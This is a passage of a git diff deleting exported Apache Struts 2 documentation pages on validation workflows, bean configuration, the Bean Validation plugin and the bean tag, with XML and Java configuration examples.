-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14196">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Let's configure a basic validation workflow, step by step.</p><h2 id="BasicValidation-Step1">Step 1</h2><p>Create the input form.<plain-text-body>{snippet:id=basicValidation|javadoc=false|lang=xml|url=struts2/apps/showcase/src/main/webapp/WEB-INF/validation/quiz-basic.jsp}</plain-text-body></p><h2 id="BasicValidation-Step2">Step 2</h2><p>Create the Action class.<plain-text-body>{snippet:id=quizAction|javadoc=false|lang=java|url=struts2/apps/show [...]
-&lt;result name="success"&gt;/tutorial/createconfirm.jsp&lt;/result&gt;
-&lt;result name="error"&gt;/tutorial/error.jsp&lt;/result&gt;
-&lt;result name="input"&gt;/tutorial/create.jsp&lt;/result&gt;
-&lt;/action&gt;
-</plain-text-body><p>If you don't have this, you'll get a: "No result defined for action xxx.xxx.tutorial.HellowWorld and result input" error</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/bean-configuration.html b/content/docs/bean-configuration.html
deleted file mode 100644
index 8ebf3b7..0000000
--- a/content/docs/bean-configuration.html
+++ /dev/null
@@ -1,182 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Bean Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="bean-configuration.html">Bean Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Bean Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29601">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29601">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29601">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29601">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29601">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29601">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Internally, the framework uses its own <a shape="rect" href="dependency-injection.html">dependency injection</a> container. The container loads key framework objects, so that any piece of the framework can be replaced, extended, or removed in a standard, consistent way. <a shape="rect" href="plugins.html">Plugins</a>, in particular, leverage this capability to extend the framework to provide support for third-party libraries like <a shape="rect" [...]
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Most applications won't need to extend the Bean Configuration. </p>
-
-<h2 id="BeanConfiguration-Beans">Beans</h2>
-
-<p>The bean element has one required attribute, <code>class</code>, which specifies the Java class to be created or manipulated.  A bean can either </p>
-
-<ol><li>be created by the framework's container and injected into internal framework objects, or</li><li>have values injected to its static methods</li></ol>
-
-
-<p>The first use, object injection, is generally accompanied by the <code>type</code> attribute, which tells the container which interface this object implements.  </p>
-
-<p>The second use, value injection, is good for allowing objects not created by the container to receive framework constants. Objects using value inject must define the  the <code>static</code> attribute.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Attribute </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Required </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> class </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <strong>yes</strong> </p></td><td colspan="1" rowspan="1" class="confluenceTd"> [...]
-
-
-<h3 id="BeanConfiguration-Sampleusage">Sample usage </h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Bean Example (struts.xml)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-
-  &lt;bean type="com.opensymphony.xwork2.ObjectFactory" name="myfactory" class="com.company.myapp.MyObjectFactory" /&gt;
-  
-  ... 
-
-&lt;/struts&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/bean-validation-plugin.html b/content/docs/bean-validation-plugin.html
deleted file mode 100644
index 5c04131..0000000
--- a/content/docs/bean-validation-plugin.html
+++ /dev/null
@@ -1,300 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Bean Validation Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="bean-validation-plugin.html">Bean Validation Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Bean Validation Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=57904184">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=57904184">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=57904184">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=57904184">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=57904184">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=57904184">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="BeanValidationPlugin-BeanValidation">Bean Validation</h1><p>The Bean Validation plugin implements a bridge to use Bean Validation in struts actions. Bean Validation has been specified in JSR 303 and is part of the JavaEE platform. Full-fledged application servers already bring validation providers which can be leveraged by this plugin. The plugin integrates with other struts features like:</p><ul><li>i18n</li><li>model driven</li><li>AJAX V [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-    &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-bean-validation-plugin&lt;/artifactId&gt;
-    &lt;version&gt;X.X.X&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>Where X.X.X is the current version of Struts 2. Please remember that the Bean Validation&#160;Plugin is available from version 2.5.</p><h1 id="BeanValidationPlugin-Configuration">Configuration</h1><p>This sample shows the configuration constants the plugin provides. It also shows how to enable bean-validation by extending your own application package from&#160;<code>struts-bean-validation</code> which comes along with the plugin.</p><div class="code panel pdl" style="borde [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">    &lt;constant name="struts.beanValidation.providerClass" value="org.hibernate.validator.HibernateValidator"/&gt;
-    &lt;constant name="struts.beanValidation.ignoreXMLConfiguration" value="false"/&gt;
-    &lt;constant name="struts.beanValidation.convertMessageToUtf" value="false"/&gt;
-    &lt;constant name="struts.beanValidation.convertMessageFromEncoding" value="ISO-8859-1"/&gt;
-&#160;
-	&lt;package name="my-bean-validation" extends="struts-bean-validation"&gt;
-	&lt;/package&gt;</pre>
-</div></div><p>Here is another example that shows how you can combine bean-validation with other plugins by configuring your own Interceptor-Stack (note: this is just a very short example. In a real app you should take more care about your stack). You can combine bean validation with classic struts validation (or disable either) by putting the according interceptors in your stack (or by removing them from your stack).</p><div class="code panel pdl" style="border-width: 1px;"><div class=" [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">	&lt;package name="my-app-package" extends="struts-default"&gt;
-		&lt;interceptors&gt;
-			&lt;interceptor
-				&#160;name="beanValidation"
-				&#160;class="org.apache.struts.beanvalidation.validation.interceptor.BeanValidationInterceptor"/&gt;
-
-			&lt;interceptor-stack name="appDefaultStack"&gt;
-				&lt;interceptor-ref name="beanValidation"/&gt;
-				&lt;interceptor-ref name="defaultStack"/&gt;
-			&lt;/interceptor-stack&gt;
-		&lt;/interceptors&gt;
-	&lt;/package&gt;</pre>
-</div></div><p>&#160;</p><h1 id="BeanValidationPlugin-BeanValidationExample">Bean Validation Example</h1><p>Here is an example Action that makes use of bean validation. Note that some of the validation annotations are taken from <code>javax</code> package (which is defined in the JSR) while others are taken from the validaton provider (in this case: <code>hibernate</code>). You can specifiy own text keys in the <code>message</code> attribute of the annotations. If you do that the whole s [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts.beanvalidation.constraints.FieldMatch;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.Namespace;
-import org.apache.struts2.convention.annotation.ParentPackage;
-import org.apache.struts2.convention.annotation.Result;
-import org.apache.struts2.interceptor.validation.SkipValidation;
-import org.hibernate.validator.constraints.Email;
-import org.hibernate.validator.constraints.NotBlank;
-import org.hibernate.validator.constraints.ScriptAssert;
-import org.hibernate.validator.constraints.URL;
-import javax.validation.constraints.*;
-import java.util.Date;
-
-
-@Namespace("/bean-validation")
-@ParentPackage("my-bean-validation")
-@Action(results = {
-        @Result(name = "input", location = "bean-validation.jsp"),
-        @Result(name = "success", location = "/WEB-INF/validation/successFieldValidatorsExample.jsp")
-})
-@FieldMatch(first = "fieldExpressionValidatorField", second = "requiredValidatorField", message = "requiredValidatorField and fieldExpressionValidatorField are not matching")
-@ScriptAssert(lang = "javascript", script = "_this.dateValidatorField != null &amp;&amp; _this.dateValidatorField.before(new java.util.Date())", message = "Date need to before now")
-public class BeanValidationExampleAction extends ActionSupport {
-    @NotNull
-    private String requiredValidatorField = null;
-
-    @NotBlank
-    private String requiredStringValidatorField = null;
-
-    @NotNull(message="your.text.key.here")
-    @Min(1)
-    @Max(10)
-    private Integer integerValidatorField = null;
-
-    @NotNull
-    private Date dateValidatorField = null;
-
-    @NotNull
-    @Size(min = 4, max = 64)
-    @Email
-
-    private String emailValidatorField = null;
-
-    @NotNull
-    @Size(min = 4, max = 64)
-    @URL
-    private String urlValidatorField = null;
-
-    @NotNull
-    @Size(min = 2, max = 4)
-    private String stringLengthValidatorField = null;
-
-    @Pattern(regexp = "[^&lt;&gt;]+")
-    private String regexValidatorField = null;
-
-    private String fieldExpressionValidatorField = null;
-
-
- public Date getDateValidatorField() {
-
-        return dateValidatorField;
-    }
-    public void setDateValidatorField(Date dateValidatorField) {
-        this.dateValidatorField = dateValidatorField;
-    }
-    public String getEmailValidatorField() {
-        return emailValidatorField;
-    }
-    public void setEmailValidatorField(String emailValidatorField) {
-        this.emailValidatorField = emailValidatorField;
-    }
-    public Integer getIntegerValidatorField() {
-        return integerValidatorField;
-    }
-    public void setIntegerValidatorField(Integer integerValidatorField) {
-        this.integerValidatorField = integerValidatorField;
-    }
-    public String getRegexValidatorField() {
-        return regexValidatorField;
-    }
-    public void setRegexValidatorField(String regexValidatorField) {
-        this.regexValidatorField = regexValidatorField;
-    }
-    public String getRequiredStringValidatorField() {
-        return requiredStringValidatorField;
-    }
-    public void setRequiredStringValidatorField(String requiredStringValidatorField) {
-        this.requiredStringValidatorField = requiredStringValidatorField;
-    }
-    public String getRequiredValidatorField() {
-        return requiredValidatorField;
-    }
-    public void setRequiredValidatorField(String requiredValidatorField) {
-        this.requiredValidatorField = requiredValidatorField;
-    }
-    public String getStringLengthValidatorField() {
-        return stringLengthValidatorField;
-    }
-    public void setStringLengthValidatorField(String stringLengthValidatorField) {
-        this.stringLengthValidatorField = stringLengthValidatorField;
-    }
-    public String getFieldExpressionValidatorField() {
-        return fieldExpressionValidatorField;
-    }
-    public void setFieldExpressionValidatorField(
-            String fieldExpressionValidatorField) {
-        this.fieldExpressionValidatorField = fieldExpressionValidatorField;
-    }
-    public String getUrlValidatorField() {
-        return urlValidatorField;
-    }
-    public void setUrlValidatorField(String urlValidatorField) {
-        this.urlValidatorField = urlValidatorField;
-    }
-}</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/bean.html b/content/docs/bean.html
deleted file mode 100644
index d0ca429..0000000
--- a/content/docs/bean.html
+++ /dev/null
@@ -1,200 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>bean</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="bean.html">bean</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">bean</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13979">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13979">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13979">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13979">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13979">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13979">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h1 id="bean-Description">Description</h1>
-
-<p></p><p>Instantiates a class that conforms to the JavaBeans specification. This tag has a body which can contain
-a number of Param elements to set any mutator methods on that class.</p>
-
-<p></p><p>If the var attribute is set on the BeanTag, it will place the instantiated bean into the
-stack's Context.</p>
-
-
-<h1 id="bean-Parameters">Parameters</h1>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h1 id="bean-Examples">Examples</h1>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;-- in freemarker form --&gt;
-[@s.bean name=&quot;org.apache.struts2.example.counter.SimpleCounter&quot; var=&quot;counter&quot;]
-  [s:param name=&quot;foo&quot; value=&quot;BAR&quot;/]
